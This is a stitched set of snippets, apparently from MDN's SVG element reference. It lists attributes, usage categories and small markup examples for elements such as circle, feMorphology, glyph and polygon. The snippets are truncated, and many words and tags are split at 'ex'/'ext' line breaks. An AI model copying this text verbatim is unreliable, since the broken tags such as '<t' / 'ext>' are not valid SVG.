..., stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria...
...-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<circle>' in that specification.
<clipPath> - SVG: Scalable Vector Graphics
for
example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius.
... value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; animatable: yes global attributes core attributes most notably: id styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted contentany number of the following elements, in any order:animation elemen...
...tsdescriptive elementsshape elements<t
ext>, <use> specifications specification status comment css masking module level 1the definition of '<clippath>' in that specification.
<cursor> - SVG: Scalable Vector Graphics
a recommended approach for defining a platform-independent custom cursor is to create a png image and define a cursor element that references the png image and identifies the
exact position within the image which is the pointer position (i.e., the hot spot).
...if a different image format is used, this format should support the definition of a transparency mask (two options: provide an
explicit alpha channel or use a particular pixel color to indicate transparency).
... usage cont
ext categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes xlink attributes
externalresourcesrequired specific attributes x y xlink:href dom interface this element implements the svgcursorelement interface.
<feConvolveMatrix> - SVG: Scalable Vector Graphics
note in the above formulas that the values in the kernel matrix are applied such that the kernel matrix is rotated 180 degrees relative to the source and destination images in order to match convolution theory as described in many computer graphics t
extbooks.
...assuming the simplest case (where the input image's pixel grid aligns perfectly with the kernel's pixel grid) and assuming default values for attributes ‘divisor’, ‘targetx’ and ‘targety’, then resulting color value will be: (9* 0 + 8* 20 + 7* 40 + 6*100 + 5*120 + 4*140 + 3*200 + 2*220 + 1*240) / (9+8+7+6+5+4+3+2+1) usage cont
ext categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in order kernelmatrix divisor bias targetx targety edgemode kernelunitlength preservealpha dom interface this element imple...
...
example svg <svg width="200" height="200" viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
<feMorphology> - SVG: Scalable Vector Graphics
usage cont
ext categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in operator radius dom interface this element implements the svgfemorphologyelement interface.
...
examples filtering svg content svg <svg xmlns="http://www.w3.org/2000/svg" width="300" height="180"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <t
ext y="1em">normal t
ext</t
ext> <t
ext id="thin" y="2em">thinned t
ext</t
ext> <t
ext id="thick" y="3em">fattened t
ext</t
ext> </svg> css t
ext { font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"...
.../> </filter> </svg> <p>normal t
ext</p> <p id="thin">thinned t
ext</p> <p id="thick">fattened t
ext</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
<feTurbulence> - SVG: Scalable Vector Graphics
it allows the synthesis of artificial t
extures like clouds or marble.
... usage cont
ext categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes basefrequency numoctaves seed stitchtiles type dom interface this element implements the svgfeturbulenceelement interface.
...
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
<g> - SVG: Scalable Vector Graphics
{ height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering...
..., stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria...
...-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <t
ext>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
<glyph> - SVG: Scalable Vector Graphics
usage cont
ext categoriest
ext content elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <t
ext>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface this element implements the svgglyphelement interface.
...
example svg <svg width="400px" height="300px" version="1.1" xmlns="http://www.w3.org/2000/svg"> <!--
example copied from https://www.w3.org/tr/svg/fonts.html#glyphelement --> <defs> <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="80" d="m0,0h200v200h-200z"></glyph> <glyph unicode="@" d="m0,50l100,300l400,100...
...z"></glyph> </font> </defs> <t
ext x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">t
ext using embe@dded font!</t
ext> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification.
<line> - SVG: Scalable Vector Graphics
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering...
..., stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria...
...-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<line>' in that specification.
<marker> - SVG: Scalable Vector Graphics
value type: <list-of-numbers> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-l...
...inejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-v...
...aluemin, aria-valuenow, aria-valuet
ext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <t
ext>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
<mpath> - SVG: Scalable Vector Graphics
the <mpath> sub-element for the <animatemotion> element provides the ability to reference an
external <path> element as the definition of a motion path.
... usage cont
ext categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes »
externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgmpathelement interface.
...
example svg <svg width="100%" height="100%" viewbox="0 0 500 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <rect x="1" y="1" width="498" height="298" fill="none" stroke="blue" stroke-width="2" /> <!-- draw the outline of the motion path in blue, along with three small circles at the start, middle and end.
<path> - SVG: Scalable Vector Graphics
value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering...
..., stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria...
...-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment svg pathsthe definition of '<path>' in that specification.
<polygon> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!--
example of a polygon with the default fill --> <polygon points="0,100 50,25 50,75 100,0" /> <!--
example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon.
... value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width...
..., transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage not...
<polyline> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!--
example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!--
example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; defau...
... value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, vis...
...ibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriesbasic shape eleme...
<rect> - SVG: Scalable Vector Graphics
global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering...
..., stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria...
...-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<rect>' in that specification.